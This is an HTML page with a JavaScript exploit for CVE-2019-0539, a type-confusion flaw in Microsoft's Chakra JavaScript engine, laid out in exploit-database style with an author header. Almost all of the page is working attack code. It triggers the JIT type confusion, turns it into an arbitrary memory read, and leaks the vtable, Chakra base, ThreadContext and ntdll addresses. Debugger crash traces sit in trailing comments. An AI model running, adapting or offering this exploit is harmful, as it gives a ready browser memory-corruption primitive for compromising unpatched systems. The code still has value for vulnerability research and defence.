<html>
<script>
/*
# Exploit Title: [getting Read permission through Type Confusion]
# Date: [date]
# Exploit Author: [Fahad Aid Alharbi]
# Vendor Homepage: [https://www.microsoft.com/en-us/]
# Version: [Chakra 1_11_4] (REQUIRED)
# Tested on: [Windows 10]
# CVE : [cve-2019-0539]
*/
/* author @0x4142 => Fahad Aid Alharbi
* cve-2019-0539
* Getting Read &_^
* date 27 Feb , 2019
*/
var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
function hex(x) {
return `0x${x.toString(16)}`
}
function bytes_to_u64(bytes) {
return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
+bytes[4]*0x100000000+bytes[5]*0x10000000000);
}
function i2f(x) {
u32[0] = x % BASE;
u32[1] = (x - (x % BASE)) / BASE;
return f64[0];
}
function f2i(x) {
f64[0] = x;
return u32[0] + BASE * u32[1];
}
obj = {}
obj.a = 0x41;
obj.b = 0x42;
obj.c = 0x41;
obj.d = 0x42;
obj.e = 0x40;
obj.f = 0x40;
obj.g = 0x90;
obj.h = 0x90;
obj.i = 0x90;
t = new ArrayBuffer(0x200);
newL = 0x1000;
hax = new ArrayBuffer(0x2000);
read_me = 0;
function hit_to_read(t){
obj.h = hax; // set ta->buffer to hax
obj.i = newL; // update target's length
read_me = new Float64Array(t);
return read_me;
}
function read(r,read_me)
{
read_me[7] = i2f(r); // setup hax->buffer
//hax = new ArrayBuffer(0x1000);
return hex(f2i(read_me[7]))
}
function cout(f){return document.write(f);}
function opt(o, c, value) {
o.c = 1
//o.a = "HELLO"
// o.b = 3;
//o.e = 1
class A extends c {
}
o.a = value // will overwrite rcx , rdx , rax
//o.b = value => chakra!Js::RecyclableObject::HasOnlyWritableDataProperties+0xe:
//o.b = 0x42424242
o.c = 555555
// o.d = 4
}
function pwn() {
for (let i = 0; i < 0x1000; i++) {
let o = {a: 1, b: 2,c:3};
opt(o, (function () {}), {});
}
let o = {a: 2222, b: 2,c:4,d:5};
let cons = function () {};
cons.prototype = o;
/* line 120
auxSlots *p
__Vfptr | type | 0x00000001234 | 0x0
*/
opt(o, cons, obj);
o.f = t
read_me = hit_to_read(t);
cout("[+] vtable pointer is " + hex(f2i(read_me[0])));
vtable = hex(f2i(read_me[0]));
buffer_addr = f2i(read_me[7]);
Chakrabase = hex(vtable - 0x59a3c0)
cout("<br>")
cout("[+] ChakraBase : " + Chakrabase)
cout("<br>buffer_addr: " + read(buffer_addr + 40 , read_me))
ThreadContext = read(Chakrabase - 0xffec5448,read_me)
Ntdll = read(Chakrabase - 0xdd9a0000,read_me)
cout("<br>")
cout("[+] ThreadContext : " + ThreadContext)
cout("<br>")
cout("[+] Ntdl : " + Ntdll)
}
pwn();
/*
s=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
chakra!Js::SimpleDictionaryTypeHandlerBase<unsigned short,Js::PropertyRecord const * __ptr64,0>::GetPropertyFromDescriptor<0>+0x59:
00007ffc`d61f4109 4c8b14c8 mov r10,qword ptr [rax+rcx*8] ds:00010000`41414141=????????????????
*/
/*
s=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
chakra!Js::SimpleDictionaryTypeHandlerBase<unsigned short,Js::PropertyRecord const * __ptr64,0>::GetPropertyFromDescriptor<0>+0x59:
00007ffc`d61f4109 4c8b14c8 mov r10,qword ptr [rax+rcx*8] ds:00010000`41414141=????????????????
*/
</script></html>